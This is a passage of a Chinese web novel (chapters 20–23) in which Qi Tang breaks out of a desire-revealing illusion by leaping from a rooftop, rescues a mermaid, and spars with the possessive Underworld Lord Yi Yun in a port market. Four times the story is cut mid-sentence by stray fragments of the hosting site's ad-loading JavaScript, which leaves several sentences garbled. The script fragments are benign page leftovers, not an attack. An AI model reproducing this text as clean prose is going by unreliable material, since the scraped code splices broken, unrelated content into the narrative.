所以漆瑭暗自猜测,当她再次与江愿相处时,那目光是否还会再 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 次出现?到那时,她一定要揪出究竟是什么东西在装神弄鬼。 漆瑭的猜测迎来了第一个印证—— 在她同意邀约后,那道目光又出现了。在大庭广众之下,潮湿的目光朝她一扑,却又顾忌什么似的,转瞬消失了。 漆瑭尽量避免独处,早上与陈灿星一起看了场全息电影,然后一起吃了午饭。陈灿星离开后,她就搭上轨道车去赴江愿的约了。 …… 江愿迟到了。 以他的性格来说,必然是发生了什么意外,否则他不可能不守时。 漆瑭坐在餐厅的露天花园中,摇晃着高脚杯中的红酒,姿态优雅而慵懒。目光漫无目的地游移,一会落在满园精心培育的争奇斗艳的花草上,一会望向楼下熙熙攘攘的车群。 她的思绪也同样漫无目的地飘荡着。 被江愿主动邀请共进晚餐,而且只有他们二人,这本该是漆瑭期待已久的事。 可是,不知为何现在心里毫无波动。 是因为意识到自己对江愿的感情其实不是喜欢?还是因为那古怪的目光压在她的心口,让她放松不起来? “抱歉,路上出了些意外,我来迟了。” 听到门口传来这么一句话,漆瑭放下手中酒杯,站起身寒暄道:“没事,我也才到不久。” 江愿一副风尘仆仆的样子,那头向来柔顺整齐的棕发也有些凌乱。他将挽在臂弯的外套递到智能衣架后,看到了漆瑭身边那只酒杯,他有些惊讶:“小瑭,你不是酒精过敏吗?” “啊。”这确实是漆瑭的人设之一,但她近来没什么心情维持人设,于是敷衍道:“这是葡萄汁。” 江愿愣了一下,摇摇头笑道:“好吧,点餐了吗?” “还没,你挑挑看。” …… 江愿约漆瑭出来,主要是为了讨论她的工作问题。 “小瑭,如果你愿意的话,可以在A3星政府做文员。你知道的,毕竟之前发生了那样的事,你如果仍想在军队晋升,会受到不小的掣肘。我个人建议你换条赛道,而且政府的工作会轻松许多,对你这样的女孩子来说是不错的选择。”他轻轻一笑,笑容别有深意,“而且,明年我也会调去A3政府的。” “那么,你的意思是,你要动用人脉将我安插进去吗?” 少女双手交叉支着下巴,神态有些微醺后的慵懒,在烛光的衬托下显现出别样的媚态。与往日可爱单纯的形象反差极大。 江愿有些不好意思地错开眼睛:“嗯……如果你愿意的话。” 结果下一瞬,他听到这个向来温柔守礼的少女说:“为什么啊?你今天做的事,很奇怪,你是喜欢我吗?” 江愿瞪大了眼睛,瞳孔微颤。半晌,他平复了心情,强装淡定地“嗯”了一声。 漆瑭饶有趣味地盯着这个昔日追逐不到的太阳,脊背微微颤栗——却不是为了他。 她承认,江愿的喜欢是她以前最想得到的东西,可是现在听到他口中的“喜欢”,她反而心如止水。 让她颤栗的,是那道终于忍不住了似的、骤然出现的、愈发森冷黏腻的目光。 说不好是因为恐惧,还是……刺激。 终于来了,她想。 20. 离开幻境 “小瑭,我今天可能有些唐突了,但是既然话已至此,那我就直说了?”摇曳的烛光下,少年棕色的发丝仿佛被镀上了一层柔和的光晕,他的神情有些青涩的羞涩。 漆瑭心如止水,纤长的手指轻拨了一下玻璃瓶里鲜艳欲滴的玫瑰花,“好啊,你说吧。” 江愿正色道:“我的家人比较开明,在我的择偶问题上,他们不会过多干涉,这方面你可以放心。至于我初步打算,是等你入职政府后,我们可以先交往两年,然后顺理成章地考虑结婚。你觉得呢?” 漆瑭垂眸作思考状,像是在认真考虑他的建议。但实际上,她的大部分注意力都放在感受那道目光上了。 暗处的那道目光随着江愿的话语,变得愈发湿冷,像是一块被冰水浸湿的棉布,朝着漆瑭兜头盖下来,令人感到一种近乎窒息的寒凉。 那究竟是什么东西的目光?又为何单单针对她? “小瑭,你怎么了?”江愿的提醒将漆瑭从短暂的失神里拉了出来。 少女半眯双眸,瞳孔里倒映着桌上跳动的烛光,忽明忽暗。她拉长了语调,缓缓说道:“我觉得——” 突然,那抹烛光乍然爆开,光芒大盛。火舌窜起来,燎上一旁的的玫瑰花。原本娇艳的花朵,刹那间烧成了一团火球,炙热过后,碎作飞灰飘散。 像是某种警告。 江愿从座位上弹起来,手忙脚乱地掀起被余烬烧着的桌布丢在地面上,挡在漆瑭身前将那火星踩灭了。 漆瑭用余光扫视四周,她觉得这不是“意外”,而是“蓄谋”。 可是,这个不算大的包间里并无外人,她要怎么揪出那个东西呢…… 她站起身,很无助似的缩在江愿身后,伸出手握住了他的衣摆,在一片混乱里回答了他的上一个问题:“可以,我觉得可以啊……既然这样,那我们先从……恋爱开始吧。” 江愿又惊又喜,急忙转回身握住她的手。与此同时,已经熄灭的灰烬突然复燃起来。受了什么刺激似的,火舌疯狂窜起,燎上窗帘、花丛……所有一切可以燃烧的东西。 江愿顺势紧紧反握住漆瑭的手,牵着她往外跑去。 漆瑭突然被什么东西绊了一下,打了个趔趄。 “小瑭!当心。”江愿慌慌张张地提醒。 地面铺着平坦柔软的地毯,不存在什么能将人绊倒的障碍物。漆瑭的心猛地一沉,她很确定,刚才绝不是她脚滑,而是确确实实感受到了某种阻碍。 而在那趔趄的瞬间,她又感受到了一股说不清的触觉,像一个怀抱似的拦了她一下,防止她跌倒。 太诡异了。 如果那两股力量来源相同,那ta是为了什么? 绊她一下,然后又在关键时刻给予她支撑——就像是刻意引导她主动栽进ta的“怀抱”里。 漆瑭的心跳猛地加快。在这一瞬间,她突然明白过来,那道目光里令人觉得压抑、几乎喘不过气来的东西是什么。 那是某种强烈得叫人胆寒的占有欲,水蛇似的悄无声息地靠近,将人重重裹缠,然后狠狠扯入湿冷的河底。 漆瑭甩出手腕的光刃,手环瞬间化为长刃,向着刚才ta出现的地方扫去。 与此同时,餐厅的安保人员破门而入,将漆瑭江愿二人团团环住,现场一片混乱。 “a组处理火情,b组护送江先生漆小姐,快!” 直到二人被安顿在安全的贵宾室后,江愿轻轻拍了拍漆瑭的后背:“怎么了小瑭,你刚才是不是看到什么了?” 少女乖巧地坐在沙发上,一缕柔软的发丝被汗水浸的油亮,贴在额头上。 江愿只觉得胸膛怦怦直跳,情不自禁地伸出手,试探着帮少女把那缕头发别到耳后。 漆瑭缩了一下,本能地避开了他的触碰。 气氛一时有些尴尬。 然而转瞬,她看向江愿,眼神中带着一丝迷茫和不安,眸中的水光若隐若现,令她看起来像一只无措的小鹿,“好像是我看错了,我……刚才太慌张了,抱歉。” 不动声色地将尴尬事翻了篇。 漆瑭当然没有看错,或者说,她根本什么也没看到,就连刚才试探的光刃也没受到任何阻碍,仿佛一切只是她精神紧绷的幻觉。 和那个东西的较量,是看不到听不见的,可是直觉告诉她,ta是真实存在的。 今晚和江愿的经历,是看得见摸得着的,可是直觉却告诉她,这些都是假的。 她应该相信知觉,还是直觉? …… 夜里的风带了几分凉意,卷过钢铁城市,拂过林立的高楼大厦,在玻璃幕墙上留下一道道无形的痕迹。 “就到这里吧,我自己进去就好,你走吧,注意安全。”灯火通明的联邦酒店外,夜色中少女的身影显出一种莫名的单薄。 江愿脱下外套,披到少女身上:“我看你进去后,我再走。” 她笑盈盈地接受了,甚至动手拢了拢身上的外套,将自己裹了起来。 “好吧,那我回去了,明天见。” 江愿笑道:“明天见。” 少女转过身去,脸上的笑意霎时消失不见,面无表情地走回酒店。 电梯缓缓上升,提示框内的数字从“1”开始攀升,提示灯忽明忽灭。 一闪一灭,与脖颈间一下一下的冰冷触感同频。 ta生气了,气得快要失控了。 漆瑭垂眸,刻意拢了拢身上存在感很强的男士外套。 那道如影随形的目光意料之中又冷了几分。 电梯最终停在“47”层,漆瑭不紧不慢地走出来,却没有回到房间里,而是折身向走廊尽头的露台走去。 玻璃门已经上了锁,她甩手挥出光刃,冲着门缝一削,只听“咔嚓”一声脆响,玻璃门应声而开,她轻松地进入了高空露台。 高处的风更大,吹得漆瑭眯起了眼睛。 她缓缓走到露台边缘,俯瞰下方的钢铁城市,林立的高楼点缀着无数如豆灯光,在远处连成一片灯海。 47楼,在这钢铁丛林里算不上特别高,但是对渺小的人类来说,从这里朝地面望去,无疑是可怖的深渊。 漆瑭突然轻笑了一声。 “你能忍到什么时候啊?”她对着空气说。 没有任何回应,但是她莫名感觉翻飞的头发丝被什么东西拨了一下。 “你说,从这里跳下去会不会特别疼?” 仍然没有回应,但她隐约听到了一道骤然变粗的呼吸声,像罩着层什么东西似的,虚幻得如同幻觉。 风吹得少女的发丝肆意乱舞,她缓缓闭上双眼,决然地朝楼下栽去,像一只一闪而逝的蝴蝶,有种令人惊心动魄的凄美。 这里是假 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的。 酒店安保严格,她怎么可能将光刃环这么轻易地带进来?又怎么可能破坏露台大门而没有触发安保系统? 江愿的婚姻也该是门当户对,他怎么可能与她表白,还轻松地规划好了二人的未来? 联邦军律严苛,她怎么可能被无罪释放?怎么可能在经历了那样的事后,还若无其事地按照原本的轨迹生活? 唯有一种可能——这一切,都是她“想要的”。 风声呼啸着从耳边上升,而她正在急速下降。空气仿佛在这一刻被撕裂,强烈的气流冲击着她的身体。耳压急剧加大,她只觉得耳朵里嗡嗡作响, 漆瑭强迫自己睁开眼睛,视线里,高楼大厦迅速地向上退去,地面以惊人的速度向她逼近。 突然,她的下降速度变缓,像是被一张有弹性的网拦了一下似的。她觉得自己落进了一个怀抱里。 漆瑭顺着后背的触觉,反手死死地抓住了“那东西”。 眼角轻轻一挑,小眼神里有丝狡黠的得意,像是在说“终于被我抓住了吧”。 ta带着她轻飘飘地落到了地面上。 怀里少女的鼻尖被狂风吹得红红的,眼神却明亮而执拗,这副神态莫名的令人心尖一颤。 事已至此,身为精神体的他调整自身形态,撤去了隐身,在她眼前露出了真容。 然而少女在看见他的瞬间,脸上并未流露出丝毫惊讶,反而用一种“尘埃落定”的语气说:“果然是你。” 抱着她的手臂微微一紧,他低低地笑了一声,笑得胸膛轻颤:“你猜到了。” “我要离开这里。”少女笃定地说。 她太聪明了,在逼出他的同时,还发现了这个幻境的不妥之处。不知为何,他竟有种与有荣焉的骄傲。 漆瑭继续说:“虽然不知道这是什么地方,但是我要离开这里。放我走。” 这句话却猜错了,这个幻境与他没有半点干系。但是“我要离开这里”这句笃定的话与笃定的心,已经打破了这个幻境。 所以,话音刚落,世界就开始崩塌了。 目之所及都像融化的蜡烛似的坍塌,天空裂出越来越多的缝隙……一切都以肉眼可见的速度消失。 最后一刻,她突然问道:“那你呢,你是真的还是假的?” 可惜,漆瑭没来得及听到他的回答,视线里的最后一幕,是那双温柔如水的灰色眼睛,仿佛在说“我是真的啊,只有我是真的”。 漆瑭想起来了,全都想起来了。 联邦法庭判了她死缓,而她当然不会束手就擒。所以她越狱了,跟着那群“有钱什么都接”的亡命徒去了分流星系,成了一个联邦逃犯。 ** 蜃气幻境内时间流速与幻境外的不同,漆瑭自以为陷入幻境起码有七八日了,实际上,易昀这里才过去半柱香的时间。 蜃气形成的“灰雾蛛网”已被黑气蚕食了大半,那上面粘黏着的四个人被不断转移,但这只不过是拖延时间罢了。等蜃气被彻底吞噬,他们便都会掉下来,而后自然清醒。 突然,凑在女人身边一团亮光,归巢似的窜回了易昀的体内。 紧接着,漆瑭提前清醒了过来。 她刚睁开眼,看着眼前这陌生诡异的一幕,还有点懵。 然后就听到了一道熟悉而嘲讽的声音:“还不算太蠢。” 21. 鲛人 海底。 蜃气消失殆尽后,那上面粘黏的人影纷纷飘落进海水里。 漆瑭瞅准时机给他们挨个套了一层避水罩。 粗略查看,约莫有十三四个人,大部分倒霉蛋们看起来已经陷入蜃气里有年头了,早都没了生机。 只剩下四个尚未恢复清醒的幸存者。 除了姜云茴等三个凡人小孩外,还有一个鲛人。 漆瑭第一次见到这种生物,没忍住多打量了他几眼。 鲛人有一头蓝色的长发,像漂浮的深蓝色海藻。上身赤裸着,肌肉线条清晰分明;腰部以下,延伸出一条同样深蓝色的长长鱼尾,尾摆蓬松飘逸,宛如女神的裙摆。 易昀面无表情地伸出一根手指勾住漆瑭的衣领,拎着她往上浮去。 “哎,稍等啊。”她拧身一游,挣脱了他的手,“来都来了,阿兄,帮我顺手把这几个倒霉孩子提上去吧。” 她现在对他提要求,好像提得特别理所当然。 易昀眸色沉沉,目光在她的唇上一扫而过,然后利落地转身离开,把她撇下了。 冥主的身影彻底消失后,漆瑭莫名松了口气,从幻境里出来之后,她看着他,心里总觉得怪怪的。 总之暂时不太想和他有什么交集,她得冷静冷静。 漆瑭拨了拨玉珰,将树精小绿召唤出来。 “怎么!怎么了?!仙子,咱们这是在哪里……”小绿胖乎乎的脸上满是惶恐,它突然意识到四面八方都是水,手忙脚乱地捂住自己的口鼻,憋得小绿脸变成了小红脸。 漆瑭往它身上丢了个避水罩,好奇道:“怎么,你们树精居然也怕水?” 这种精怪本质上其实是某种能量体,和执念体有些微相似,所以它和季棠都可以被揉成玉珰形态,陷入沉睡。 可是,这种能量体也会需要呼吸吗? 这疑问提醒了小绿,小绿恍然大悟地松开了手,吐着泡泡道:“是哦,我好像确实不怕。” 漆瑭:“……” 树精小绿虽然脑子不灵光,但好在它略有几分蛮力。一只手拎起忍青,另一只手拎起一个陌生的女孩,便往海面上游去。 漆瑭拽着姜云茴,临走前,又打量了一下昏迷的鲛人。 心想:鲛人应该是生活在海里的吧?应该是不怕水的吧?所以把他留在这里就行了吧? 蜃气与蜃楼消失后的海湾分外平静,静得有些可怕,举目四望俱是无边无际的海水,水的颜色越远越黑。 这样的场景极具压迫感,实在不该用“平静”来加以形容,相比之下,“死寂”一词则更为贴切。 漆瑭加快了游速。 她知道为什么心里会冒出“死寂”这样的形容词了,因为这茫茫海水里,不见任何一只鱼类、任何一株海草……这是一个由蜃楼打造的,生命的禁区。 上了岸,温暖的日光洒在身上,驱走了深海带来的凉意。 漆瑭和小绿将三个倒霉孩子排排摆在岸边,晒一会太阳,他们应该就会苏醒了。 不远处,一抹黑色的身影背对众人而立,那背影里透着十足的不耐与不爽。 漆瑭心里隐约有个猜测,亟待证明。她犹豫片刻,走过去与他并排而站,“阿兄,接下来咱们要去哪里?云起盘现在还有反应吗?” 他语气不咸不淡道:“去哪?你一个异世之魂,本尊就算告诉你,你也不知道是哪。” 漆瑭:……谁又惹他了? 她勉强好脾气地打了个哈哈,也没有了和他循序渐进的心情,直白问道:“那……阿兄知道刚才的幻境是什么情况吗?我在里面看到了很奇怪的事……有些想不通。” 这话似乎引起了他的兴趣,易昀忽然扭头看向漆瑭,眼神里的嘲讽意味一闪而逝。 “蜃气幻境照见的是欲望。” 是心魔肮脏的欲望,给他惹来了这样大的一个麻烦。 猜测得到证实后,漆瑭愈发心神不宁。她敏锐地察觉到了冥主古怪的眼神,虽然心知他看不见她的幻境,但她还是有些莫名的心虚。 她的欲望……怎么还跟他扯上干系了?还是,那样难以启齿的! 漆瑭觉得自己还是得静静,对了,海里还有只鲛人……要不把他也提溜上来晒晒? 漆瑭的脑筋转得快,再次游回海底的功夫,就已经想明白并且接受了自己的“欲望”。 性格如此,她向来叛逆而不服输。 冥主高高在上,所以她想看到他失控、低头,在她面前卑微到尘埃里。 难怪她之前能想出“攻心”这样的点子,还对他有某种“驯服欲”,种种蛛丝马迹都昭示着自己的欲望苗头。 漆瑭再次对自己极端的性格做出感慨,然后……平静地接受了。 既然想要,那么她会得到。 鲛人仍在沉睡,蓝色的长长睫毛覆盖在白如玉瓷的眼睑上,整只鱼看起来仿若精致的工艺品。 毕竟是比成年男子还要巨大一些的体型,漆瑭拖得有些吃力,好在上浮至半途,殷勤的树精小绿就从上面游来帮忙了。 漆瑭将鲛人递给小绿,甩甩有些发酸的手,抬眼却瞧见这鲛人睁开了一双金色的眼睛,默不作声地看着她。 他不说话,也不反抗,任由树精将他带到了岸上。 鱼尾浸在海水里,上半身斜倚在沙滩。他看着漆瑭,忽然流了滴泪出来。 漆瑭一惊,随即就看到那滴泪以肉眼可见的速度化作了一颗鲛珠,色泽温润,质地上乘。 流滴泪就能化作鲛珠,难怪水行村里会有“天上下鲛珠”的奇景。不知它被困于蜃气多久,也不知那蜃楼从他身上敲诈了多少鲛珠…… “是你救了我?多谢。”鲛人的声音清润甜软,有种与外貌不符的温柔。他伸手将鲛珠递给漆瑭,“无以为报,只望仙子不嫌弃,能收下这颗鲛珠。” 虽然确切来说,从蜃气里救了这些人的是冥主,但是以漆瑭对他的了解,别人的道谢只会让他觉得烦。 所以她直接收下了鲛珠,想着这样就两不相欠了。 鲛人又道:“仙子,在下润玉,若是来日仙子在大泽遇到麻烦,可以凭此唤我相助。” 这珠子还包售后呢? “润玉……我叫漆瑭,你的心意我收下了。”她思索片刻,粲然一笑,“不过这样说的话……倒希望来日用不上你的鲛珠。” 鲛人初入世,就栽了个大跟头,被困在蜃气幻境将近一年。那幻境存心折磨他,叫他差点把眼泪流干了,像被晒在陆地的海鱼,在痛苦里渐渐失去生机。 他从濒死的境地醒来,第一眼就看到了这个人类少女。 阳光被海水滤成柔和的光晕,若有似无地笼在她的身上,那瞬间,她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 像从天而降的神女。 润玉羞涩地避开她的视线,垂下眼睫,心底悠悠地飘上来一个念头。 “走了。”易昀不知何时走了过来,眼神不善地盯着漆瑭手中的鲛珠。 那眼神简直像要伸手将鲛珠捏碎。 漆瑭本能地握紧鲛珠,往袖袋里一塞。 易昀顿了一下,然后从鼻腔里挤出了一声极其轻蔑的低哼。 “废物,爱捡的也是废物。” 漆瑭:“都是阿兄教的好,阿兄是我的榜样,我最爱跟阿兄学习了。” 易昀:“……” 冥主向来没什么耐心,尤其是心情不爽的时候,他拎住漆瑭的衣领便要离开此地。 可突然,漆瑭觉得自己的裙摆被什么东西扯住了。 她反手摁住冥主的手背,制止了他的动作。 地上,刚苏醒的姜云茴眼圈通红,吃力地死死攥住她的衣摆,像是握住了最后一根稻草,“神仙姐姐,求您,求您带我离开这里。” 漆瑭垂眸看着她,有一瞬间看到了曾经的自己,“离开这里,你要去哪?” 女孩往日稚嫩天然的表情消失不见,取而代之的是一股子孤注一掷的狠,“只要是有宗门的地方都可以,神仙姐姐,我不是有灵根吗?我要修炼,我必须……变得强大。” 水行村临的海是一片内海,往外便是宽阔无际的大泽海。 大泽这边水行村所在陆地,灵气较为稀薄,修士门派凋零,更别说水行村本身就是偏僻渔村。这就导致了,村里许多有灵根的孩子终此一生都没有机会走上仙途。 漆瑭不想拒绝她,不过……她看向冥主。 果不其然,他满脸写着“麻烦,不愿意,你给我识相点”。 识相是不可能识相的,他越是这样,漆瑭想迫他屈服的念头就越强烈。 刚准备开口,熟料,突然冒出来了个更不识相的家伙—— 鲛人润玉效仿云茴,扯住了漆瑭另一边裙摆,虚弱地咳了一声,“仙子,如果可以的话,我也想随仙子一起走。” 漆瑭:??? 手掌下,易昀的手背上忽的暴起一条青筋,漆瑭甚至能感受到它微微凸起的轮廓。 “二选一,你只能带走一个,你选谁。” ** 海葬,是小渔村传承了千百年的习俗。 夕阳的余晖洒在辽阔的海面上,浮光跃金的美好景致,却无人有心欣赏。 年幼的女孩将唯一的亲人葬入海中,渔船载重变轻,吃水骤浅,轻轻晃了晃。 她没给自己留多少伤怀的时间,迅速整理好心情,从竹篾里掏出三只平安结。 “漆瑭姐姐,这是我们村子的习俗,海葬时亲手将平安结投入海中,能得到所有逝去先辈的祝福。我想,他们一定也会保佑姐姐和……姐姐的兄长的。” 经历过巨大变故的人,往往会在命运的十字路口走向两个极端,一种是彻底消沉,发烂发臭;而另一种是瞬间长大,如涅槃重生。 显然,姜云茴是后者。 漆瑭接过平安结,本想伸手揉揉云茴的脑袋,却在半道转了向,改为拍了拍她的肩头,“节哀。” 船的另一头,易昀背对而站。看得出,他真的很不爽。 忽然,他感到一个小小的力气戳了戳他,扭头,手里便被塞进了一个东西。 22. 平安结 “阿兄,你听到没,这是平安结。”漆瑭满脸认真。 易昀听到了,但他打算扔了。 “你是去过冥界的,也见过万尘海,人死后会变成什么东西你不知道吗……竟还会信这些。” “是真是假重要吗?祈福……对大家来说只是一种精神寄托吧。” 易昀冷哼一声,突然,一只柔软的手僭越地包住了他的手,将那枚平安结裹进了他的手心里。 他那句“你这样的人也会需要精神寄托”梗在喉咙里,不上不下,一时顿住了。 漆瑭初次迈出这一步,心里不可谓不紧张,然而除了紧张之外,还有一种令人想要发抖的兴奋与刺激。 她刻意不去看他的反应,继续道:“对我来说,祈福的过程比结果要重要得多。哪怕结局注定是无用的,可是心怀期待的这一刻总是特别美好……” 手心里,属于冥主的那只手肌肤微凉,这是她第一次主动与他有这样的肢体接触。漆瑭的手心有些微出汗,她把持着分寸,说完那句话就松开了手。 若即若离。 “我很少有这样祈福的机会,在我们那里,人们相信客观存在的一切,而不信奉虚无缥缈的鬼神。所以,我也很少有与别人一起祈福的机会……”她后退一步与他拉开距离,同时抬眸笑看他,“你是第一个。” 漆瑭挥了挥自己手里的平安结示意他,“保佑我们,祝福我们。” 易昀刚被她触碰过的手指微动,他冷声冷气道:“你会希望本尊平安?本尊不死,日后死的就是你。”他像是为了反驳蜃气给他的荒诞幻境一般,着重强调,“本尊不会对你心慈手软,这点从未变过。” 少女好像被冻了一下,眼波轻晃,霎那间竟有某种脆弱一闪而逝。然而转瞬,她又恢复了往日模样,专要跟他作对似的嚷道:“冥、主、大、人,鹿死谁手尚未可知,我只希望,在你和我绑定的这段时间里,你能平平安安。” 易昀莫名很烦躁,那烦躁催促着他快做些什么……目光无意识地从她嫣红的唇上扫过,他心里更烦了,像有蚂蚁在心脏上爬。 “噗通——” 身边飞出去一只平安结,打破了摇晃的海面,飘飘摇摇地往海里沉。 漆瑭双手合十,闭目祈福。 她似乎不会挽发髻,从来都是一根发带将头发束成高马尾。不过这样的发型在她身上,显不出什么英姿飒爽——可能因为她本就不是一个坦坦荡荡的人。 她绵里藏针,表里不一,得寸进尺,仗着心契在身一次次挑衅他……她自私,认为祸害苍生的恶蜮跟她没什么干系,看戏似的作壁上观……可她又不够自私,遇见被霸凌的陌生女孩要出手、恶蜮献祭她也要掺合…… 他突然觉得,自己虽总能看穿她的把戏,却看不透真正的她……就像水面上的冰山,展露在海面上的,只有十之一二。 易昀攥紧手中的平安结。 他是个没有过去的人,也许是时间久远,把一切都忘记了……有记忆以来,就是空阔的冥主殿,见到他的每一个人、鬼、精怪,无一不是战战兢兢。 他忽然好奇,她说的“你是第一个”,是因为她也像他一样、一直独身一人吗? 他有些……好奇她的过去。 一阵风吹来,扬起她头上杏黄色的发带,拂过她蝶翼般轻颤的长睫。 易昀的睫毛也跟着轻轻一颤,他收回目光,松开手,将自己的那枚平安结也投进了海里…… 漆瑭听见耳边传来那声细小的水花飞溅声,唇角得逞般往上一挑。 鱼儿上钩了。 ** 鲛人润玉藏身于礁石后,鱼尾不耐地拍了拍水。 漆瑭仙子放弃了他,漆瑭仙子没有选择他……都怪跟在她身边的那个男人! 那个男人离开前,还用一种极为轻蔑的眼神睨了他一眼。 这是赤裸裸的挑衅! 润玉恨恨地握住脖颈间悬挂的一颗鲛珠,这颗珠子是属于鲛人王族的本命珠,与普通鲛人不同,他能操控自己产出的所有鲛珠。 漆瑭没有发现,自己袖袋里的鲛珠意味不明地亮了一下。 与此同时,水行村忍府,仆从们跪了一地。 “找!给我找!你们统统滚出去,找不到少爷,再也不许回来。”忍老爷生得富态,腆着大肚子,怒气冲冲地将“报喜鸟”管家一脚踹翻。 报喜鸟“哎呦”一声,知道不能在老爷气头上争论,于是跪在地上,垂着头连连道:“是!是!老爷您消气,少爷有福泽庇佑,定然会平安归来……我们,我们这就去……定然将少爷全须全尾地带回来。”他侧头,给身后的手下们使眼色。 仆从们齐声喊道:“少爷定会平安归来!” 忍家在水行村堪称当地土皇帝,那日天上下的鲛珠,都被收归忍府,全村无人敢多加置喙。 尽管如此,忍老爷心知对有些人来说,威逼比不得利诱。于是他抖抖衣兜,洒出一颗圆润的鲛珠。 鲛珠落在地上的瞬间,数十双人眼齐齐死死盯住它,像是见到了肉块的恶狼,贪婪尽显。 忍老爷说:“找到少爷者,我必会重金犒劳。记住,保证少爷活着。” 众人齐齐点头的瞬间,那颗鲛珠竟然在众目睽睽之下裂成了两半,然后两半鲛珠在日光里蒸发似的冒出白烟,转瞬,就化作飞灰消散了。 忍老爷身后,忍府库房顿时窜出磅礴白烟,简直像房子着了火! 仆从中,有一个身形高瘦的伙计躬身偻背,遮遮掩掩的口袋里也冒出了一缕白烟。 一时间,“着火了”、“鲛珠呢”、“他是小偷”等等声音四起,忍府乱作一片。 而空寂的沙滩上,“少爷”忍青才悠悠地转醒。 他挠了挠头:“小爷这是在哪?” ** 距离水行村最近的大型港口,位处落马城。 落日的余晖褪去了颜色,墨色的天幕悄声降临。 城南大集长长的街道上,来来往往的人流渐少,摊贩们清点着货物闹哄哄地收着摊,一只只骡子拉着木板车排着队一个个离开。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 然而街边的店铺们迎来了辉煌时刻,一盏盏窗灯次第亮起,客栈、酒馆、饭堂……伙计们站在门口热情地招揽着顾客。 头一次离开水行村的姜云茴目不暇接,新鲜感短暂地盖过了失去亲人的悲痛。 漆瑭同样瞧得稀罕,在星际世界琳琅满目的是耀眼的霓虹灯,来到修真界后,先是在荒无人烟的冥界,又去了闭塞偏僻的水行村,这是她真正意义上第一次走近这个世界的大众面貌。 他们来这里,是为了坐灵霄舶东渡大泽。 漆瑭心中猜测,恶蜮可能活跃在广阔的大泽海,所以这船舶主要是给她和云茴坐的,冥主他应当别有安排。 不过,那都是后话了。 途径一家糖人铺子,凝固后的糖稀晶莹剔透,宛如琥珀,被手巧的匠人巧妙地刻成各种形状。 有动物,有植物,有小人舞剑、两人话事,还有……慈祥的奶奶和可爱的孙女。 云茴的目光黏在了上面,铺子里明亮的灯光照进女孩的眼眸里,似有水波荡漾。 “店家,我要这个糖画,怎么卖?” 身后,比女孩高一些的少女伸出手,指着她目光落下的地方。 “五两灵石。”店家挥着蒲扇驱赶蚊蝇,笑容热情。 云茴不安地揪了揪手指,低声道:“漆瑭姐姐,我其实不是很想要……我们走吧。” 漆瑭暗示性地摁住女孩的肩,然后转回身对易昀讨要道:“阿兄,五两灵石。” 易昀眯了眯眼睛,很不给面子地说:“没有。” “五两灵石都没有吗?”她扬起的唇角失落地垂了下来,眼里的光有一瞬的暗淡。 易昀抿了下唇,继续坚持:“没有。” 漆瑭想做的事,很少会放弃,尤其是在和他对上的时候。她掏出一颗杏,犹犹豫豫道:“我用杏子和你换,好吗,阿兄?”她满含期待地望着他,用口型比“求你了”。 易昀的喉结滚了一下,嘴巴打算继续拒绝,可是手却有自己的想法—— 他摸出来一枚空白符纸,突然毫不费力地徒手在上头绘制了一张符。 递给她道:“防御符,能抵灵石。” 漆瑭看呆了,本以为他是存心不给她钱,没想到他是真没钱啊!! 店家也看呆了,对凡人来说,修士制作的符纸都是珍贵的“灵物”,既能保命也能日常使用。只是价格多半不低。 但是,哪怕他没见过绘制符纸,却是听说过啊—— “符箓大师闭关半月,倾情绘制”、“符箓天才三日而绘,售空无货”等等。 徒手在眨眼间绘成一张符纸,这简直是闻所未闻的骇事! “几位客官,只是一个糖画而已,只是五两灵石而已,有必要这样哄骗我吗?”店家脸黑了下来,“我虽是凡人,却不是一无所知的蠢物!你说这是防御符这就是了?那我这也不是糖画,而是传闻中的焰冰玉,有价无市,概不售卖。” 这异状吸引了四面八方来客的注意,事情突然就变得高调了起来。 23. 占有欲 “让让、让让。” 对街符箓铺的老板穿过人群,兴高采烈地凑到吃瓜前线。 他双眼发亮地盯着易昀手中符纸,满脸不可置信:“这……这符纸当真如这位客官所说,是防御符?” 易昀微微皱眉,表现出了对当前场面的十分不满。漆瑭见状,安抚性地拍了拍他的手背,站出来挡在他身前说道:“老板,这确实是防御符,我阿兄从不打妄语。” 糖画铺老板插嘴道:“小姑娘,你不知道他是谁吧?张兄可是我们城里,鉴符高手。你们骗骗我这种外行就算了,在张兄面前可别再胡言乱语了,徒增笑话!” “假的真不了,真的自然也假不了。”漆瑭皮笑肉不笑,与他针锋相对,“既然老板你心知自己是外行,又凭什么口出狂言笃定我们骗你?” 少女其实生得很高挑,是女孩子里比较高的那一类。但奈不住易昀生得更高,他素日在人群里,往那一杵就是鹤立鸡群般醒目。 因此,她挡在他身前,竟显得有些娇小。 从前她总是用这副张牙舞爪的面孔对他,而这一次却是尖刺朝外,只为了回护他……他说这是防御符,她就信了?为什么这么轻易地信了他……万一,他是骗她呢?还有……她这副模样又是装给他看得吗? 易昀的心里忽然乱糟糟的,目光无意识地定在眼前毛茸茸的后脑勺上。她梳着最简单的高马尾,用一根发带系住,蝶戏花的玉簪被随意地插在发根,让他忽生出一种冲动…… 他想不通,举目四顾,惊觉人群中的女子们,都挽着各式各样的发髻。 发髻多以簪子作为收尾,爱美的女子还会在发冠缀上珠花或步摇,一头的琳琅满目。 他竟然有些想扯下眼前飘来飘去的发带,任那同样飘来飘去的青丝散开,然后将它们握在手心……亲手挽成一个髻。 易昀猛地回过神,捻了捻手指,脸色一下子变得很难看。 那边,符箓铺老张手持某种器具,长得像某种透明的薄片,对着漆瑭递来的防御符仔细端详。 他的神色逐渐变得激动起来:“这符纸的灵力波动……确实是防御符无疑!可是这绘制手法,怪……着实怪,我鉴符二十来年,从未遇见过这样的……”老张自言自语半晌,猛地抬起头,双目发光地盯着漆瑭,食指伸出了比了个“1”,“我出这个数,这位客官,可否将此符卖给我?其中乾坤,我还得细细研究……” 易昀见状,眉目间闪过郁色,他突然伸手将准备开口的漆瑭扯到了自己身后,严严实实地挡住了老张的视线。 老张不觉有异,转而将热切的视线投到了易昀身上,满脸期待。 